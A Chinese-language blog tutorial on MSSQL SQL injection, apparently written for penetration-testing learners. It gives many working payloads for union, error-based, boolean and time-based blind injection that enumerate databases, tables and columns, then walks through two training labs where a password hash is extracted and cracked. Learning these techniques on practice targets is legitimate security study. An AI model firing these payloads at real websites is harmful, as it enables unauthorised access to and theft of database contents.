上一篇把MSSQL中默认的三张表说了,所以对于数据的查询应该没有什么太大的问题了。所以这篇文章主要讲一讲MSSQL注入的几种方法。
可以使用information_schema库,不过我个人是更喜欢MSSQL的那三张默认的表,查询如下,
查当前库:
?id=-1' union select 1,db_name(),3--+
查所有库:
?id=-1' union select 1,db_name(),name from master.sysdatabases where name not in(select top 1 name
from master.dbo.databases)--+
查表:
?id=-1' union select top 1 1,2,table_name from master.sysobjects where xtype='U'--+
查列:
?id=0' union select 1,name,3 from master.syscolumns where id=(select id from sysobjects where name='users')--+
当然也可以用information_schema,感兴趣的自己可以在本机测试。
MSSQL中的报错注入原理与MySQL报错注入的原理有些不太一样,由于MSSQL数据库是强类型语言数据库,当类型不一致时将会报错,而我们恰巧利用一个类型不一致的比较判断讲报错的敏感数据回显出来。payload如下,
查库:
1' and 1=(db_name())-- 或 1' and 1=(select db_name())-- 或 1' and 1=(convert(int,@@version))--
1' and 1=(select top 1 name from sysdatabases)--
1' and 1=(select top 1 name from sysdatabases where name not in('test'))--
1' and 1=(select top 1 name from sysdatabases where name not in('test') and name not in('master'))--
查表:
1' and 1=(select top 1 name from sysobjects where xtype='U') --
1' and 1=(select top 1 name from sysobjects where xtype='U' and name not in('users'))
查列:
1' and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='users'))
convert()、cast()是强制转换的函数,如上如果强制转换失败再与整型作比较就会报错,而报错的内容会带出sql查询的结果。
布尔盲注也没啥想说的,感觉和MySQL一模一样,利用len()判断敏感数据的长度,再利用substring()函数配合ascii()函数,最后通过得到的正确与错误回显一个一个的爆出敏感数据的字符。
MySQL盲注利用的延时函数为sleep()与benchmark(),而在MSSQL中则无法使用这两个函数,MSSQL有一个独特的延时指令---waitfor delay。
id = 1 waitfor delay '00:00:05:00' //四个数从左至右依次为时、分、秒、毫秒
既然知道了MSSQL延时的指令,那么再配合一个可判断的指令即可完成时间盲注,这里与MySQL类似用的时if,但是又不完全相同,MySQL的if()可以有三个,一个时判断条件,一个是条件为真执行的动作,一个是条件为假执行的动作。
而MSSQL的if用法为:
if exists (action)
啥意思?其实也就是if 后面跟一个条件,如果条件为真,那么就执行后面的动作,因此MSSQL的时间盲注指令如下:
判断库长度:
id=1 if(len(db_name()))>40 WAITFOR DELAY '0:0:5'--
根据单个字符利用二分法逐个判断:
id=1 if(ascii(substring(db_name(),1,1)))>50 WAITFOR DELAY '0:0:5'--
id=1 if(ascii(substring(db_name(),2,1)))>50 WAITFOR DELAY '0:0:5'--
………………
查询表的个数:
id=1 if((select count(*) from sysobjects where xtype='u')>5) WAITFOR DELAY '0:0:5'--
判断表长度:
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and len(name)=9)=1) WAITFOR DELAY '0:0:5'--
判断表名:
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and ascii(substring(name,1,1))>90)=1) WAITFOR DELAY '0:0:5'--
查询列名:
id=1 if((select count(*) from syscolumns where name in (select top 1 name from syscolumns where id = object_id('emails') and name not in ('')) and ascii(substring(name,1,1))=1)!=0) WAITFOR DELAY '0:0:5'--
查字段的步骤相上
ok,以上是基本的方法,包括几个没说的(与MySQL类似的),当然不仅仅只有如上方法还有个类似MySQL中dnslog带出的方法,看后面有空在写吧。
如果有对MSSQL注入的各种方法感兴趣的朋友,我推荐你可以下载一个与MySQL sqli-labs相似的一个开源靶场,名字相同MSSQL sqli-labs,地址如下
GitHub - Larryxi/MSSQL-SQLi-Labs
这个靶场对环境有两个要求:需要一个SQL server的数据库,还需要在Windows搭一个IIS服务,Windows本身是自带IIS的只需要在网上找一篇搭IIS的文章跟着走就行了,最后就是修改一下config.asp中数据库的库名与密码即可。
这里简单讲Less-1,前十关是GET,后十关是POST然后都是比较隆统的那几种方法。
单引号探测注入的存在
单引号闭合,都是一些常规的方法,由于MySQL都讲过了这里跳过列数量的判断,直接联合注入
可以看到2,3回显所以对这两个点中的任意一个进行注入即可。
查到了默认数据库,也可以查其它任意数据库
接下来就是查表,也是那几个步骤
然后是查列名、字段名
与MySQL没啥两样,只是一些关键字不一样了,也可以用information_schema这个库,有兴趣的可以试试。
墨者学院有特别针对所有关系型数据库注入的靶场,但是缺点是一些偏一点的靶场只有一个也就是说不同的数据库中却只有一种考法,局限性比较大适合入门,而且除了新用户给的15墨币外无法通过其它渠道获得,所以后期可能要付费(该靶场没用多久不是很清楚,只是猜测)。地址为:
墨者学院_专注于网络安全人才培养
很明显注入点在id这里,直接用单引号测试
报错,说明存在注入,而且通过报错我们可以得知这就是一个MSSQL的数据库
不过这里有一个坑,接下来测试一下就知道了
order by 3报错了是说明没有第3列吗?
第4列却存在,这是咋回事啊?因此猜测第三列可能不是数字3所以不能用order by 3。当测试过程中还会发现一个问题union select 无法使用……头疼。
最后我们需要用到union all select ,union all select 能显示重复的值,这也可能是其中的问题所在(毕竟是黑盒测试,根本不知道后端代码写的啥)。
当类型不统一时都用null代替就可以,但是我们需要知道注入点,一个一个的测试就知道了
最后测试结果为
接下来的操作就是和上一个题的操作步骤相同了。省略后面的步骤了,最后查到密码
这是一个md5的加密,对其解密即可最后登录就可以拿到key
参考:MSSQL SQL注入 - FreeK0x00 - 博客园